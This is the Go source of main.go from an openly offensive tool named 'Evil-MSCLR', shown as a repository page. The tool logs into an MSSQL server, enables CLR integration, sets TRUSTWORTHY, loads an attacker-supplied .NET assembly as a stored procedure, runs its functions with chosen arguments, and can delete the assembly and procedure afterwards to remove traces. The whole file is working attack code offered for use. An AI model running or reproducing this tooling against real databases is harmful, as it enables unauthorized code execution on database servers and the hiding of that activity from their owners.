-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.go
150 lines (131 loc) · 4.12 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
package main
import (
"Evil-MSCLR/config"
"Evil-MSCLR/database"
"flag"
"fmt"
"log"
"os"
_ "github.com/denisenkom/go-mssqldb"
)
var (
ConfigPath = flag.String("config", "config.json", "Config file path")
Functions = flag.Bool("functions", false, "Description of functions available in the module loaded in MSSQL")
LoadAssembly = flag.Bool("loadassembly", false, "Loading Assembly into MSSQL")
AutoRemove = flag.Bool("autoremove", false, "Automatic deletion of loaded assembly and created procedures")
Function = flag.String("function", "", "Function used in module loaded in MSSQL CLR")
Argument = flag.String("argument", "", "Argument for the function used")
File = flag.String("file", "", "Reading argument value from file")
)
func main() {
flag.Parse()
err := config.Load(*ConfigPath)
if err != nil {
log.Fatal(err)
}
if *Functions {
for _, f := range config.CONFIG.Functions {
fmt.Printf("Name: %s\n", f.Name)
fmt.Printf("Description: %s\n", f.Description)
fmt.Printf("Example: %s\n", f.Example)
fmt.Println("------------------------")
}
os.Exit(0)
}
err = database.Init(config.CONFIG.Host, config.CONFIG.Username, config.CONFIG.Password, config.CONFIG.Port)
if err != nil {
log.Fatal(err)
}
fmt.Printf("[*] Login with user '%s' was successful\n", config.CONFIG.Username)
status, _ := database.CLRStatus()
fmt.Printf("[*] CLR activation status in MSSQL: %t\n", status)
if *LoadAssembly && !status {
fmt.Println("[*] Enable CLR")
err := database.ChangeCLR(1)
if err != nil {
log.Fatal(err)
}
}
is_loaded := false
fmt.Println("[*] List of assemblies loaded into the database")
assembly, err := database.AssemblyList()
if err != nil {
log.Fatal(err)
}
for i, a := range assembly {
fmt.Printf(" \\____[%d] Name: %s\n", i, a.Name)
fmt.Printf("\t\\____[%d] Assembly id: %d\n", i, a.Assembly_id)
fmt.Printf("\t\\____[%d] CLR Name: %s\n", i, a.CLR_name)
fmt.Printf("\t\\____[%d] Permission: %s\n", i, a.Permission_set_desc)
if a.Name == config.CONFIG.AssemblyName {
is_loaded = true
}
}
if *LoadAssembly && !is_loaded && config.CONFIG.Assembly != "" {
fmt.Printf("[*] Loading '%s' into the database\n", config.CONFIG.AssemblyName)
fmt.Printf("[*] Set the 'TRUSTWORTHY' property to 'ON'\n")
err := database.LoadAssembly(config.CONFIG.AssemblyName, config.CONFIG.Assembly)
if err != nil {
log.Fatal(err)
}
assembly, err = database.AssemblyList()
if err != nil {
log.Fatal(err)
}
for i, a := range assembly {
if a.Name == config.CONFIG.AssemblyName {
fmt.Println("[*] Assembly successfully loaded")
fmt.Printf(" \\____[%d] Name: %s\n", i, a.Name)
fmt.Printf("\t\\____[%d] Assembly id: %d\n", i, a.Assembly_id)
fmt.Printf("\t\\____[%d] CLR Name: %s\n", i, a.CLR_name)
fmt.Printf("\t\\____[%d] Permission: %s\n", i, a.Permission_set_desc)
is_loaded = true
}
}
if is_loaded {
fmt.Println("[*] Create Procedure")
err := database.CreateProcedure(config.CONFIG.Procedure, config.CONFIG.AssemblyName)
if err != nil {
log.Fatal(err)
}
}
}
if !is_loaded {
fmt.Println("[x] Assembly not loaded.")
os.Exit(1)
}
if *Function != "" && (*Argument != "" || *File != "") {
fmt.Printf("[*] Execute function: '%s'\n", *Function)
var result string
var err error
if *File != "" {
file, err := os.ReadFile(*File)
if err != nil {
log.Fatal(err)
}
result, err = database.ExecFunction(*Function, string(file))
} else {
result, err = database.ExecFunction(*Function, *Argument)
}
if err != nil && err.Error() != "sql: no rows in result set" {
fmt.Printf("[x] The execution failed.\n--------\n%s\n--------\n", err)
}
if result != "" {
fmt.Println("------output------")
fmt.Println(result)
fmt.Println("------output------")
}
}
if *AutoRemove {
fmt.Printf("[*] Delete '%s' Procedure\n", config.CONFIG.Procedure)
err := database.DropProcedure(config.CONFIG.Procedure)
if err != nil {
log.Fatal(err)
}
fmt.Printf("[*] Delete '%s' Assembly\n", config.CONFIG.AssemblyName)
err = database.DropAssembly(config.CONFIG.AssemblyName)
if err != nil {
log.Fatal(err)
}
}
}